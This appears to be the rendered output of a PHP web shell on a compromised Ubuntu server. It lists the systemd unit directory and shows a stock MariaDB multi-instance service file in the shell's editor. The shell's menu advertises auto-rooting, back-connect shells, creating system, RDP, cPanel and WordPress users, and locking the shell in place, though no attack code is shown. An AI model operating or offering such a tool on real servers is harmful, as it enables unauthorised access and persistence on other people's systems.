Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.159.139
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
systemd /
system /
[ HOME SHELL ]
Name
Size
Permission
Action
getty.target.wants
[ DIR ]
drwxr-xr-x
graphical.target.wants
[ DIR ]
drwxr-xr-x
halt.target.wants
[ DIR ]
drwxr-xr-x
initrd-switch-root.target.want...
[ DIR ]
drwxr-xr-x
kexec.target.wants
[ DIR ]
drwxr-xr-x
local-fs.target.wants
[ DIR ]
drwxr-xr-x
[email protected]
[ DIR ]
drwxr-xr-x
multi-user.target.wants
[ DIR ]
drwxr-xr-x
poweroff.target.wants
[ DIR ]
drwxr-xr-x
rc-local.service.d
[ DIR ]
drwxr-xr-x
reboot.target.wants
[ DIR ]
drwxr-xr-x
rescue.target.wants
[ DIR ]
drwxr-xr-x
runlevel1.target.wants
[ DIR ]
drwxr-xr-x
runlevel2.target.wants
[ DIR ]
drwxr-xr-x
runlevel3.target.wants
[ DIR ]
drwxr-xr-x
runlevel4.target.wants
[ DIR ]
drwxr-xr-x
runlevel5.target.wants
[ DIR ]
drwxr-xr-x
sockets.target.wants
[ DIR ]
drwxr-xr-x
sysinit.target.wants
[ DIR ]
drwxr-xr-x
system-update.target.wants
[ DIR ]
drwxr-xr-x
timers.target.wants
[ DIR ]
drwxr-xr-x
user-.slice.d
[ DIR ]
drwxr-xr-x
[email protected]
[ DIR ]
drwxr-xr-x
accounts-daemon.service
741
B
-rw-r--r--
apache-htcacheclean.service
603
B
-rw-r--r--
[email protected]
612
B
-rw-r--r--
apache2.service
395
B
-rw-r--r--
[email protected]
467
B
-rw-r--r--
apparmor.service
1.13
KB
-rw-r--r--
apport-autoreport.path
212
B
-rw-r--r--
apport-autoreport.service
242
B
-rw-r--r--
apport-forward.socket
246
B
-rw-r--r--
[email protected]
142
B
-rw-r--r--
apt-daily-upgrade.service
389
B
-rw-r--r--
apt-daily-upgrade.timer
184
B
-rw-r--r--
apt-daily.service
326
B
-rw-r--r--
apt-daily.timer
156
B
-rw-r--r--
atd.service
347
B
-rw-r--r--
[email protected]
1.93
KB
-rw-r--r--
basic.target
919
B
-rw-r--r--
blk-availability.service
400
B
-rw-r--r--
[email protected]
441
B
-rw-r--r--
bluetooth.target
419
B
-rw-r--r--
bolt.service
626
B
-rw-r--r--
boot-complete.target
455
B
-rw-r--r--
certbot.service
233
B
-rw-r--r--
certbot.timer
156
B
-rw-r--r--
[email protected]
169
B
-rw-r--r--
cloud-config.service
418
B
-rw-r--r--
cloud-config.target
883
B
-rw-r--r--
cloud-final.service
483
B
-rw-r--r--
cloud-init-hotplugd.service
893
B
-rw-r--r--
cloud-init-hotplugd.socket
402
B
-rw-r--r--
cloud-init-local.service
550
B
-rw-r--r--
cloud-init.service
665
B
-rw-r--r--
cloud-init.target
517
B
-rw-r--r--
console-getty.service
1.06
KB
-rw-r--r--
console-setup.service
312
B
-rw-r--r--
[email protected]
1.23
KB
-rw-r--r--
cron.service
316
B
-rw-r--r--
cryptsetup-pre.target
465
B
-rw-r--r--
cryptsetup.target
412
B
-rw-r--r--
ctrl-alt-del.target
583
B
-rw-r--r--
dbus-org.freedesktop.hostname1...
1.13
KB
-rw-r--r--
dbus-org.freedesktop.locale1.s...
1.12
KB
-rw-r--r--
dbus-org.freedesktop.login1.se...
2.04
KB
-rw-r--r--
dbus-org.freedesktop.timedate1...
1.11
KB
-rw-r--r--
dbus.service
505
B
-rw-r--r--
dbus.socket
106
B
-rw-r--r--
debug-shell.service
1.03
KB
-rw-r--r--
default.target
598
B
-rw-r--r--
dev-hugepages.mount
750
B
-rw-r--r--
dev-mqueue.mount
693
B
-rw-r--r--
dm-event.service
341
B
-rw-r--r--
dm-event.socket
248
B
-rw-r--r--
dmesg.service
358
B
-rw-r--r--
[email protected]
438
B
-rw-r--r--
e2scrub_all.service
297
B
-rw-r--r--
e2scrub_all.timer
251
B
-rw-r--r--
[email protected]
245
B
-rw-r--r--
e2scrub_reap.service
550
B
-rw-r--r--
elasticsearch.service
1.79
KB
-rw-r--r--
emergency.service
797
B
-rw-r--r--
emergency.target
471
B
-rw-r--r--
exit.target
541
B
-rw-r--r--
final.target
480
B
-rw-r--r--
finalrd.service
396
B
-rw-r--r--
friendly-recovery.service
618
B
-rw-r--r--
friendly-recovery.target
172
B
-rw-r--r--
fstrim.service
466
B
-rw-r--r--
fstrim.timer
205
B
-rw-r--r--
fwupd-offline-update.service
406
B
-rw-r--r--
fwupd-refresh.service
404
B
-rw-r--r--
fwupd-refresh.timer
159
B
-rw-r--r--
fwupd.service
571
B
-rw-r--r--
getty-pre.target
506
B
-rw-r--r--
getty-static.service
342
B
-rw-r--r--
getty.target
500
B
-rw-r--r--
[email protected]
1.93
KB
-rw-r--r--
graphical.target
598
B
-rw-r--r--
grub-common.service
583
B
-rw-r--r--
grub-initrd-fallback.service
408
B
-rw-r--r--
halt.target
527
B
-rw-r--r--
haveged.service
669
B
-rw-r--r--
hibernate.target
509
B
-rw-r--r--
hybrid-sleep.target
530
B
-rw-r--r--
initrd-cleanup.service
665
B
-rw-r--r--
initrd-fs.target
528
B
-rw-r--r--
initrd-parse-etc.service
815
B
-rw-r--r--
initrd-root-device.target
496
B
-rw-r--r--
initrd-root-fs.target
501
B
-rw-r--r--
initrd-switch-root.service
584
B
-rw-r--r--
initrd-switch-root.target
777
B
-rw-r--r--
initrd-udevadm-cleanup-db.serv...
813
B
-rw-r--r--
initrd.target
698
B
-rw-r--r--
irqbalance.service
454
B
-rw-r--r--
iscsid.service
463
B
-rw-r--r--
iscsid.socket
175
B
-rw-r--r--
kexec.target
541
B
-rw-r--r--
keyboard-setup.service
287
B
-rw-r--r--
kmod-static-nodes.service
716
B
-rw-r--r--
kmod.service
1.02
KB
-rw-r--r--
local-fs-pre.target
435
B
-rw-r--r--
local-fs.target
482
B
-rw-r--r--
logrotate.service
695
B
-rw-r--r--
logrotate.timer
192
B
-rw-r--r--
lvm2-lvmpolld.service
323
B
-rw-r--r--
lvm2-lvmpolld.socket
239
B
-rw-r--r--
lvm2-monitor.service
602
B
-rw-r--r--
[email protected]
338
B
-rw-r--r--
lxd-agent-9p.service
489
B
-rw-r--r--
lxd-agent.service
498
B
-rw-r--r--
machine.slice
445
B
-rw-r--r--
man-db.service
482
B
-rw-r--r--
man-db.timer
164
B
-rw-r--r--
mariadb.service
5.7
KB
-rw-r--r--
[email protected]
9.67
KB
-rw-r--r--
[email protected]
481
B
-rw-r--r--
[email protected]
210
B
-rw-r--r--
[email protected]
179
B
-rw-r--r--
mdcheck_continue.service
535
B
-rw-r--r--
mdcheck_continue.timer
435
B
-rw-r--r--
mdcheck_start.service
483
B
-rw-r--r--
mdcheck_start.timer
463
B
-rw-r--r--
[email protected]
1.01
KB
-rw-r--r--
mdmonitor-oneshot.service
463
B
-rw-r--r--
mdmonitor-oneshot.timer
434
B
-rw-r--r--
mdmonitor.service
388
B
-rw-r--r--
[email protected]
601
B
-rw-r--r--
motd-news.service
173
B
-rw-r--r--
motd-news.timer
161
B
-rw-r--r--
multi-user.target
532
B
-rw-r--r--
multipath-tools.service
807
B
-rw-r--r--
multipathd.service
807
B
-rw-r--r--
multipathd.socket
186
B
-rw-r--r--
network-online.target
505
B
-rw-r--r--
network-pre.target
502
B
-rw-r--r--
network.target
521
B
-rw-r--r--
networkd-dispatcher.service
258
B
-rw-r--r--
nginx.service
1013
B
-rw-r--r--
nss-lookup.target
554
B
-rw-r--r--
nss-user-lookup.target
513
B
-rw-r--r--
ondemand.service
362
B
-rw-r--r--
open-iscsi.service
987
B
-rw-r--r--
open-vm-tools.service
489
B
-rw-r--r--
packagekit-offline-update.serv...
407
B
-rw-r--r--
packagekit.service
371
B
-rw-r--r--
paths.target
394
B
-rw-r--r--
php7.4-fpm.service
523
B
-rw-r--r--
php8.1-fpm.service
523
B
-rw-r--r--
phpsessionclean.service
155
B
-rw-r--r--
phpsessionclean.timer
144
B
-rw-r--r--
plymouth-halt.service
447
B
-rw-r--r--
plymouth-kexec.service
461
B
-rw-r--r--
plymouth-log.service
244
B
-rw-r--r--
plymouth-poweroff.service
456
B
-rw-r--r--
plymouth-quit-wait.service
200
B
-rw-r--r--
plymouth-quit.service
194
B
-rw-r--r--
plymouth-read-write.service
244
B
-rw-r--r--
plymouth-reboot.service
449
B
-rw-r--r--
plymouth-start.service
567
B
-rw-r--r--
plymouth-switch-root.service
291
B
-rw-r--r--
plymouth.service
194
B
-rw-r--r--
polkit.service
175
B
-rw-r--r--
pollinate.service
404
B
-rw-r--r--
poweroff.target
592
B
-rw-r--r--
printer.target
417
B
-rw-r--r--
proc-sys-fs-binfmt_misc.automo...
745
B
-rw-r--r--
proc-sys-fs-binfmt_misc.mount
718
B
-rw-r--r--
procps.service
693
B
-rw-r--r--
quotaon.service
609
B
-rw-r--r--
rc-local.service
716
B
-rw-r--r--
reboot.target
583
B
-rw-r--r--
remote-cryptsetup.target
549
B
-rw-r--r--
remote-fs-pre.target
436
B
-rw-r--r--
remote-fs.target
522
B
-rw-r--r--
rescue-ssh.target
184
B
-rw-r--r--
rescue.service
788
B
-rw-r--r--
rescue.target
492
B
-rw-r--r--
rpcbind.target
540
B
-rw-r--r--
rsync.service
255
B
-rw-r--r--
rsyslog.service
435
B
-rw-r--r--
runlevel0.target
592
B
-rw-r--r--
runlevel1.target
492
B
-rw-r--r--
runlevel2.target
532
B
-rw-r--r--
runlevel3.target
532
B
-rw-r--r--
runlevel4.target
532
B
-rw-r--r--
runlevel5.target
598
B
-rw-r--r--
runlevel6.target
583
B
-rw-r--r--
secureboot-db.service
604
B
-rw-r--r--
[email protected]
1.45
KB
-rw-r--r--
setvtrgb.service
330
B
-rw-r--r--
shutdown.target
442
B
-rw-r--r--
sigpwr.target
402
B
-rw-r--r--
sleep.target
460
B
-rw-r--r--
slices.target
449
B
-rw-r--r--
smartcard.target
420
B
-rw-r--r--
snapd.apparmor.service
1.21
KB
-rw-r--r--
snapd.autoimport.service
432
B
-rw-r--r--
snapd.core-fixup.service
369
B
-rw-r--r--
snapd.failure.service
151
B
-rw-r--r--
snapd.mounts-pre.target
144
B
-rw-r--r--
snapd.mounts.target
144
B
-rw-r--r--
snapd.recovery-chooser-trigger...
550
B
-rw-r--r--
snapd.seeded.service
308
B
-rw-r--r--
snapd.service
607
B
-rw-r--r--
snapd.snap-repair.service
421
B
-rw-r--r--
snapd.snap-repair.timer
330
B
-rw-r--r--
snapd.socket
281
B
-rw-r--r--
snapd.system-shutdown.service
608
B
-rw-r--r--
sockets.target
396
B
-rw-r--r--
sound.target
420
B
-rw-r--r--
ssh.service
538
B
-rw-r--r--
ssh.socket
216
B
-rw-r--r--
[email protected]
318
B
-rw-r--r--
suspend-then-hibernate.target
577
B
-rw-r--r--
suspend.target
503
B
-rw-r--r--
swap.target
393
B
-rw-r--r--
sys-fs-fuse-connections.mount
823
B
-rw-r--r--
sys-kernel-config.mount
830
B
-rw-r--r--
sys-kernel-debug.mount
738
B
-rw-r--r--
sys-kernel-tracing.mount
764
B
-rw-r--r--
sysinit.target
558
B
-rw-r--r--
syslog.socket
1.37
KB
-rw-r--r--
sysstat.service
523
B
-rw-r--r--
system-systemd\x2dcryptsetup.s...
434
B
-rw-r--r--
system-update-cleanup.service
1.38
KB
-rw-r--r--
system-update-pre.target
543
B
-rw-r--r--
system-update.target
617
B
-rw-r--r--
systemd-ask-password-console.p...
722
B
-rw-r--r--
systemd-ask-password-console.s...
737
B
-rw-r--r--
systemd-ask-password-plymouth....
525
B
-rw-r--r--
systemd-ask-password-plymouth....
502
B
-rw-r--r--
systemd-ask-password-wall.path
650
B
-rw-r--r--
systemd-ask-password-wall.serv...
742
B
-rw-r--r--
[email protected]
719
B
-rw-r--r--
systemd-binfmt.service
1.15
KB
-rw-r--r--
systemd-bless-boot.service
678
B
-rw-r--r--
systemd-boot-check-no-failures...
718
B
-rw-r--r--
systemd-boot-system-token.serv...
1.34
KB
-rw-r--r--
systemd-exit.service
556
B
-rw-r--r--
systemd-fsck-root.service
740
B
-rw-r--r--
[email protected]
741
B
-rw-r--r--
systemd-fsckd.service
551
B
-rw-r--r--
systemd-fsckd.socket
540
B
-rw-r--r--
systemd-halt.service
579
B
-rw-r--r--
[email protected]
...
671
B
-rw-r--r--
systemd-hibernate.service
541
B
-rw-r--r--
systemd-hostnamed.service
1.13
KB
-rw-r--r--
systemd-hwdb-update.service
813
B
-rw-r--r--
systemd-hybrid-sleep.service
559
B
-rw-r--r--
systemd-initctl.service
566
B
-rw-r--r--
systemd-initctl.socket
546
B
-rw-r--r--
systemd-journal-flush.service
773
B
-rw-r--r--
systemd-journald-audit.socket
686
B
-rw-r--r--
systemd-journald-dev-log.socke...
1.1
KB
-rw-r--r--
[email protected]
...
597
B
-rw-r--r--
systemd-journald.service
1.52
KB
-rw-r--r--
systemd-journald.socket
882
B
-rw-r--r--
[email protected]
1.43
KB
-rw-r--r--
[email protected]
738
B
-rw-r--r--
systemd-kexec.service
592
B
-rw-r--r--
systemd-localed.service
1.12
KB
-rw-r--r--
systemd-logind.service
2.04
KB
-rw-r--r--
systemd-machine-id-commit.serv...
728
B
-rw-r--r--
systemd-modules-load.service
1.02
KB
-rw-r--r--
systemd-network-generator.serv...
635
B
-rw-r--r--
systemd-networkd-wait-online.s...
740
B
-rw-r--r--
systemd-networkd.service
1.95
KB
-rw-r--r--
systemd-networkd.socket
633
B
-rw-r--r--
systemd-poweroff.service
556
B
-rw-r--r--
systemd-pstore.service
1.01
KB
-rw-r--r--
systemd-quotacheck.service
655
B
-rw-r--r--
systemd-random-seed.service
1.03
KB
-rw-r--r--
systemd-reboot.service
551
B
-rw-r--r--
systemd-remount-fs.service
767
B
-rw-r--r--
systemd-resolved.service
1.69
KB
-rw-r--r--
systemd-rfkill.service
717
B
-rw-r--r--
systemd-rfkill.socket
726
B
-rw-r--r--
systemd-suspend-then-hibernate...
596
B
-rw-r--r--
systemd-suspend.service
537
B
-rw-r--r--
systemd-sysctl.service
693
B
-rw-r--r--
systemd-sysusers.service
695
B
-rw-r--r--
systemd-time-wait-sync.service
1.17
KB
-rw-r--r--
systemd-timedated.service
1.11
KB
-rw-r--r--
systemd-timesyncd.service
1.45
KB
-rw-r--r--
systemd-tmpfiles-clean.service
658
B
-rw-r--r--
systemd-tmpfiles-clean.timer
490
B
-rw-r--r--
systemd-tmpfiles-setup-dev.ser...
739
B
-rw-r--r--
systemd-tmpfiles-setup.service
779
B
-rw-r--r--
systemd-udev-settle.service
852
B
-rw-r--r--
systemd-udev-trigger.service
753
B
-rw-r--r--
systemd-udevd-control.socket
635
B
-rw-r--r--
systemd-udevd-kernel.socket
610
B
-rw-r--r--
systemd-udevd.service
1.12
KB
-rw-r--r--
systemd-update-utmp-runlevel.s...
797
B
-rw-r--r--
systemd-update-utmp.service
794
B
-rw-r--r--
systemd-user-sessions.service
628
B
-rw-r--r--
systemd-volatile-root.service
690
B
-rw-r--r--
thermald.service
290
B
-rw-r--r--
time-set.target
426
B
-rw-r--r--
time-sync.target
479
B
-rw-r--r--
timers.target
445
B
-rw-r--r--
ua-messaging.service
278
B
-rw-r--r--
ua-messaging.timer
177
B
-rw-r--r--
ua-reboot-cmds.service
323
B
-rw-r--r--
udev.service
1.12
KB
-rw-r--r--
udisks2.service
203
B
-rw-r--r--
ufw.service
266
B
-rw-r--r--
umount.target
457
B
-rw-r--r--
unattended-upgrades.service
377
B
-rw-r--r--
upower.service
997
B
-rw-r--r--
usbmuxd.service
171
B
-rw-r--r--
[email protected]
688
B
-rw-r--r--
user.slice
432
B
-rw-r--r--
[email protected]
748
B
-rw-r--r--
uuidd.service
538
B
-rw-r--r--
uuidd.socket
126
B
-rw-r--r--
vgauth.service
408
B
-rw-r--r--
vsftpd.service
248
B
-rw-r--r--
[email protected]
561
B
-rw-r--r--
xfs_scrub_all.service
376
B
-rw-r--r--
xfs_scrub_all.timer
250
B
-rw-r--r--
[email protected]
272
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor :
[email protected]
# Multi instance version of MariaDB # # Use this if you run multiple instances of MariaDB on a single server. # # This systemd service is not suitable for Galera as specialised SST recovery # scripts are needed. # # # It's not recommended to modify this file in-place, because it will be # overwritten during package upgrades. If you want to customize, the # best way is to create a file "/etc/systemd/system/mariadb@.service", # containing # .include /usr/lib/systemd/system/mariadb@.service # ...make your changes here... # or create a file "/etc/systemd/system/mariadb@.service.d/foo.conf", # which doesn't need to include ".include" call and which will be parsed # after the file mariadb@.service itself is parsed. # # For more info about custom unit files, see systemd.unit(5) or # https://mariadb.com/kb/en/mariadb/systemd/ # # Copyright notice: # # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation; either version 2.1 of the License, or # (at your option) any later version. # # # MULTI INSTANCES # # When multiple instances of MariaDB are running on a server they need to # ensure that they don't conflict with each other. This includes elements # like network ports, sockets and data directories listed under CONFLICTING # VARIABLES below. The systemd environment variable MYSQLD_MULTI_INSTANCE # controls each instance to ensure it is run independently. It is passed to # mysqld and mysql_install # # By default, a group suffix exists and within the default configuration # files, a group [mysqld.{instancename}] is read for each service. Other # default groups, like [server.{instancename}] and [mariadb.{instancename}], # are also read. For each instance, one of the groups will need to contain # the conflicting variables listed below under CONFLICTING VARIABLES. # # The MYSQLD_MULTI_INSTANCE environment used is: # Environment='MYSQLD_MULTI_INSTANCE=--defaults-group-suffix=.%I --basedir=/usr' # # # APPLYING YOUR MULTI INSTANCE MECHANISM # # To apply one of the non-default multi-instance mechanisms, create a file # "/etc/systemd/system/mariadb@.service.d/multi.conf" containing: # # [Service] # Environment=MYSQLD_MULTI_INSTANCE="...." # # Include any other settings you which to override. Directives like Exec* are # lists and adding a directive will append to the list. You can clear the list # by starting with "Directive=" and no value. Follow this by the list that you # do want. See the systemd.unit(5) manual page for more information. # # Then run "systemctl daemon-reload". # # # EXAMPLE MYSQLD_MULTI_INSTANCE CONFIGURATIONS # # Configuration File Based Mechanism: # # This has a configuration file per instance. # # [Unit] # ConditionPathExists=/etc/my.%I.cnf # # [Service] # Environment=MYSQLD_MULTI_INSTANCE=--defaults-file=/etc/my.%I.cnf # # Here you need to create a configuration file /etc/my.%I.cnf for each # instance, each containing the conflicting variables to separate instances. # # # Multi User Based Mechanism: # # Here each user (the instance name) has their own mysql instance. # # Create instances in users home directory with abstract socket: # # [Service] # User=%I # ProtectHome=false # ExecStartPre= # ExecStartPre=/usr/bin/mysql_install_db $MYSQLD_MULTI_INSTANCE \ # --auth-root-authentication-method=socket --auth-root-socket-user=%I # Environment=MYSQLD_MULTI_INSTANCE="--defaults-file=/home/%I/my%I.cnf \ # --datadir=/home/%I/mysqldatadir --skip-networking --socket=@mysql-%I" # # # Command Line Mechanism: # # This is a good way run multiple instance where there is little difference # in configuration between instances. # # [Service] # Environment=MYSQLD_MULTI_INSTANCE="--socket=/var/run/mysqld/%I.sock \ # --datadir=/var/lib/mysqld-multi/%I \ # --skip-networking" # # # CONFLICTING VARIABLES # # A number of MariaDB system variables may conflict. The main ones that need to # be set because their default values will conflict are: # * socket # * port # * datadir # # # PRE-10.4 # # Before 10.4 MYSQLD_MULTI_INSTANCE was effectively --defaults-file=/etc/mysql/conf.d/my%I.cnf # As /etc/my.cnf included these files it was a bad choice as an # existing single instance would include all these files. If you want to # continue a file based multi-instance mysqld, recommend the Configuration File # Based Mechanism above and moving /etc/mysql/conf.d/my%I.cnf files to /etc/my%I.cnf. # # # SELINUX # # As basic selinux rules are written around a single instance of MariaDB you may need # to define labels for the files and network ports of all instances. # # See: https://mariadb.com/kb/en/library/what-to-do-if-mariadb-doesnt-start/#selinux # # # STARTING # # Start the instance: systemctl start mariadb@{instancename}.service # # # DOCUMENTATION: # # Read https://mariadb.com/kb/en/mariadb/systemd/ regarding customisation. # # Also see systemd man pages: systemd.unit(5), systemd.exec(5) and # systemd.service(5) [Unit] Description=MariaDB 10.4.21 database server (multi-instance %I) Documentation=man:mysqld(8) Documentation=https://mariadb.com/kb/en/library/systemd/ After=network.target # Negated condition here is because 10.3 and before had /etc/mysql/conf.d/my%I.cnf # as the configuration difference for multiple instances. This condition here # to prevent an accidental change during an upgrade in the case the user # created these file(s). # ## See Environment=MYSQLD_MULTI_INSTANCE below for current recommended options. ConditionPathExists=!/etc/mysql/conf.d/my%I.cnf [Install] WantedBy=multi-user.target [Service] ############################################################################## ## Core requirements ## Type=notify # Setting this to true can break replication and the Type=notify settings # See also bind-address mysqld option. PrivateNetwork=false ############################################################################## ## Package maintainers ## # CAP_IPC_LOCK To allow memlock to be used as non-root user # CAP_DAC_OVERRIDE To allow auth_pam_tool (which is SUID root) to read /etc/shadow when it's chmod 0 # does nothing for non-root, not needed if /etc/shadow is u+r # CAP_AUDIT_WRITE auth_pam_tool needs it on Debian for whatever reason CapabilityBoundingSet=CAP_IPC_LOCK CAP_DAC_OVERRIDE CAP_AUDIT_WRITE # PrivateDevices=true implies NoNewPrivileges=true and # SUID auth_pam_tool suddenly doesn't do setuid anymore PrivateDevices=false # Prevent writes to /usr, /boot, and /etc ProtectSystem=full # Requires kernel 4.14 or later and SELinux transition rule for mysqld_t # (https://github.com/systemd/systemd/issues/3845) # NoNewPrivileges=true # Prevent accessing /home, /root and /run/user ProtectHome=true # Needed to create system tables etc. ExecStartPre=/usr/bin/mysql_install_db $MYSQLD_MULTI_INSTANCE # Start main service # A few variables are here: # * MYSQLD_MULTI_INSTANCE - control how multiple instances are distinguisable # * MYSQLD_OPTS - user definable extras - not a replacement for my.cnf # # Note 1: Place $MYSQLD_OPTS at the very end for its options to take precedence. ExecStart=/usr/sbin/mysqld $MYSQLD_MULTI_INSTANCE $MYSQLD_OPTS ExecStartPost=/etc/mysql/debian-start KillSignal=SIGTERM # Don't want to see an automated SIGKILL ever SendSIGKILL=no # Restart crashed server only, on-failure would also restart, for example, when # my.cnf contains unknown option Restart=on-abort RestartSec=5s UMask=007 ############################################################################## ## USERs can override ## ## ## by creating a file in /etc/systemd/system/mariadb.service.d/MY_SPECIAL.conf ## and adding/setting the following below [Service] will override this file's ## settings. # Useful options not previously available in [mysqld_safe] # Kernels like killing mysqld when out of memory because its big. # Lets temper that preference a little. # OOMScoreAdjust=-600 # Explicitly start with high IO priority # BlockIOWeight=1000 # If you don't use the /tmp directory for SELECT ... OUTFILE and # LOAD DATA INFILE you can enable PrivateTmp=true for a little more security. PrivateTmp=false # Set an explicit Start and Stop timeout of 900 seconds (15 minutes!) # this is the same value as used in SysV init scripts in the past # if you need a longer timeout, check the KB: # https://mariadb.com/kb/en/library/systemd/#configuring-the-systemd-service-timeout TimeoutStartSec=900 TimeoutStopSec=900 # Controlling how multiple instances are separated. See top of this file. # Note: This service isn't User=mysql by default so we need to be explicit. # It is as an option here as a user may want to use the MYSQLD_MULTI_INSTANCE # to run multiple versions. Environment='MYSQLD_MULTI_INSTANCE=--defaults-group-suffix=.%I' # While you can override these, you shouldn't leave them empty as that # will default to root. User=mysql Group=mysql ## ## Options previously available to be set via [mysqld_safe] ## that now needs to be set by systemd config files as mysqld_safe ## isn't executed. ## # Number of files limit. previously [mysqld_safe] open-files-limit LimitNOFILE=32768 # Maximium core size. previously [mysqld_safe] core-file-size # LimitCore= # Nice priority. previously [mysqld_safe] nice # Nice=-5 # Timezone. previously [mysqld_safe] timezone # Environment="TZ=UTC" # Library substitutions. previously [mysqld_safe] malloc-lib with explicit paths # (in LD_LIBRARY_PATH) and library name (in LD_PRELOAD). # Environment="LD_LIBRARY_PATH=/path1 /path2" "LD_PRELOAD= # Flush caches. previously [mysqld_safe] flush-caches=1 # ExecStartPre=sync # ExecStartPre=sysctl -q -w vm.drop_caches=3 # numa-interleave=1 equalivant # Change ExecStart=numactl --interleave=all /usr/sbin/mysqld...... # crash-script equalivent # FailureAction=
Close